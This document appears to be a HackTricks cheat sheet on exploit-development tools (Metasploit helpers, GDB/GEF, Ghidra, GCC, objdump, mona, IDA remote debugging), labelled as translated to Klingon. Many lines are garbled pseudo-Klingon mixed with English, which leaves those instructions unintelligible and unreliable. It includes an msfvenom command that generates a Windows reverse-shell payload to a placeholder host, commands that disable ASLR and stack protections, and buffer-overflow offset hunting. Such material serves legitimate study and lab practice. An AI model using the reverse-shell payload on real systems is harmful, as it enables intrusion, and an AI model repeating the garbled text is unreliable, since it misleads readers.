hacktricks/exploiting/tools
2024-02-10 17:52:19 +00:00
..
pwntools.md Translated to Klingon 2024-02-10 17:52:19 +00:00
README.md Translated to Klingon 2024-02-10 17:52:19 +00:00

qaStaHvIS AWS hacking vItlhlaHbe'chugh htARTE (HackTricks AWS Red Team Expert)!

HackTricks Daq vItlhutlh:

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

What is a Shellcode?

A shellcode is a small piece of code that is used as the payload in an exploit. It is typically written in assembly language and is designed to be injected into a vulnerable program to gain unauthorized access or execute arbitrary commands.

Creating Shellcodes

There are several tools and techniques available for creating shellcodes. Some popular ones include:

  • Metasploit Framework: Metasploit is a powerful framework that provides a wide range of tools for creating and exploiting vulnerabilities. It includes a module called msfvenom that can be used to generate shellcodes in various formats.

  • Shellcode Compiler: Shellcode Compiler is a tool that allows you to write shellcodes in high-level programming languages such as C and C++. It then compiles the code into assembly language, making it easier to create complex shellcodes.

  • Custom Shellcode Development: If you have advanced knowledge of assembly language, you can write your own shellcodes from scratch. This gives you complete control over the functionality and size of the shellcode.

Shellcode Execution

Once you have created a shellcode, you need a way to execute it on the target system. There are several techniques that can be used for this purpose:

  • Buffer Overflow: Buffer overflow is a common vulnerability that can be exploited to execute shellcodes. By overflowing a buffer in a vulnerable program, you can overwrite the return address on the stack and redirect the program's execution flow to your shellcode.

  • Return-Oriented Programming (ROP): ROP is a technique that allows you to chain together small pieces of code, called gadgets, to create a larger payload. By carefully selecting gadgets from the target program's code, you can construct a ROP chain that eventually leads to the execution of your shellcode.

  • Heap Spraying: Heap spraying is a technique that involves allocating a large number of objects in the heap and filling them with shellcode. By carefully controlling the layout of the heap, you can increase the chances of the shellcode being executed.

Shellcode Analysis

Analyzing shellcodes is an important part of the exploit development process. It allows you to understand how the shellcode works and identify any potential weaknesses or anti-analysis techniques. Some popular tools for shellcode analysis include:

  • IDA Pro: IDA Pro is a powerful disassembler and debugger that can be used to analyze shellcodes. It provides a graphical interface for navigating and analyzing the assembly code, making it easier to understand the shellcode's functionality.

  • GDB: GDB is a command-line debugger that can be used to analyze shellcodes. It allows you to set breakpoints, step through the code, and inspect the values of registers and memory locations.

  • Online Sandboxes: Online sandboxes, such as Cuckoo Sandbox and Hybrid Analysis, can be used to execute shellcodes in a controlled environment and monitor their behavior. This can help identify any malicious or suspicious activities.

Conclusion

Shellcodes are an essential component of exploit development. By understanding how to create, execute, and analyze shellcodes, you can enhance your hacking skills and effectively exploit vulnerabilities.

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

qay'be'

apt-get install gdb

Parameters

-q --> Qap banner jImej
-x <file> --> GDB instructions jatlh
-p <pid> --> process jIloS

Instructions

> disassemble main --> function jatlh
> disassemble 0x12345678
> set disassembly-flavor intel
> set follow-fork-mode child/parent --> process jImej
> p system --> system function jIqIm
> help
> quit

> br func --> function qutlh
> br *func+23
> br *0x12345678
> del NUM --> NUM qutlh
> watch EXPRESSION --> value qImHa'

> run --> jImej
> start --> jImej je main
> n/next --> next instruction jImej (ghorgh)
> s/step --> next instruction jImej
> c/continue --> next breakpoint jImej

> set $eip = 0x12345678 --> $eip qImHa'
> info functions --> function jImej
> info functions func --> function jImej
> info registers --> registers qImHa'
> bt --> Stack
> bt full --> Detailed Stack

> print variable
> print 0x87654321 - 0x12345678 --> Caculate
> examine o/x/u/t/i/s dir_mem/reg/puntero --> content jImej octal/hexa/10/bin/instruction/ascii

  • x/o 0xDir_hex
  • x/2x $eip --> 2Words from EIP
  • x/2x $eip -4 --> $eip - 4
  • x/8xb $eip --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
  • i r eip --> Value of $eip
  • x/w pointer --> Value of the pointer
  • x/s pointer --> String pointed by the pointer
  • x/xw &pointer --> Address where the pointer is located
  • x/i $eip —> Instructions of the EIP

GEF

checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

pIq

GDB cha' addresses

GDB debugging DaH jatlh binary executed when addresses vItlhutlh. GDB addresses cha' vItlhutlh vaj:

  • unset env LINES
  • unset env COLUMNS
  • set env _=<path> binary absolute path Put
  • binary cha' absolute route vIghoS
  • PWD 'ej OLDPWD GDB 'ej binary cha' vIghoS

Backtrace to find functions called

DaH statically linked binary DaH jatlh functions binary (external libraries). vaj, identify the flow binary follows to for example ask for user input vItlhutlh.
binary running ghaH gdb until input vItlhutlh. vaj, CTRL+C 'ej bt (backtrace) command vIghoS functions called:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB server

gdbserver --multi 0.0.0.0:23947 (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)

Ghidra

Find stack offset

Ghidra is very useful to find the the offset for a buffer overflow thanks to the information about the position of the local variables.
For example, in the example below, a buffer flow in local_bc indicates that you need an offset of 0xbc. Moreover, if local_10 is a canary cookie it indicates that to overwrite it from local_bc there is an offset of 0xac.
Remember that the first 0x08 from where the RIP is saved belongs to the RBP.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compile without protections
-o --> Output
-g --> Save code (GDB will be able to see it)
echo 0 > /proc/sys/kernel/randomize_va_space --> To deactivate the ASLR in linux

To compile a shellcode:
nasm -f elf assembly.asm --> return a ".o"
ld assembly.o -o shellcodeout --> Executable

Objdump

-d --> Disassemble executable sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)
-Mintel --> Intel syntax
-t --> Symbols table
-D --> Disassemble all (address of static variable)
-s -j .dtors --> dtors section
-s -j .got --> got section
-D -s -j .plt --> plt section decompiled
-TR --> Relocations
ojdump -t --dynamic-relo ./exec | grep puts --> Address of "puts" to modify in GOT
objdump -D ./exec | grep "VAR_NAME" --> Address or a static variable (those are stored in DATA section).

Core dumps

  1. Run ulimit -c unlimited before starting my program
  2. Run sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
  3. sudo gdb --core=<path/core> --quiet

More

ldd executable | grep libc.so.6 --> Address (if ASLR, then this change every time)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Loop to see if the address changes a lot
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset of "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset of "/bin/sh"

strace executable --> Functions called by the executable
rabin2 -i ejecutable --> Address of all the functions

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debugging in remote linux

tlhIngan Hol:

IDA qachDaq, linuxDaq binary debugging laH binaries vItlhutlh. vaj binary linux_server yIlo' linux_server64 linux server vItlhutlh 'ej run vItlhutlh binary DaH jImejDaq:

./linux_server64 -Ppass

Qong, configure the debugger: Debugger (linux remote) --> Proccess options...:

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: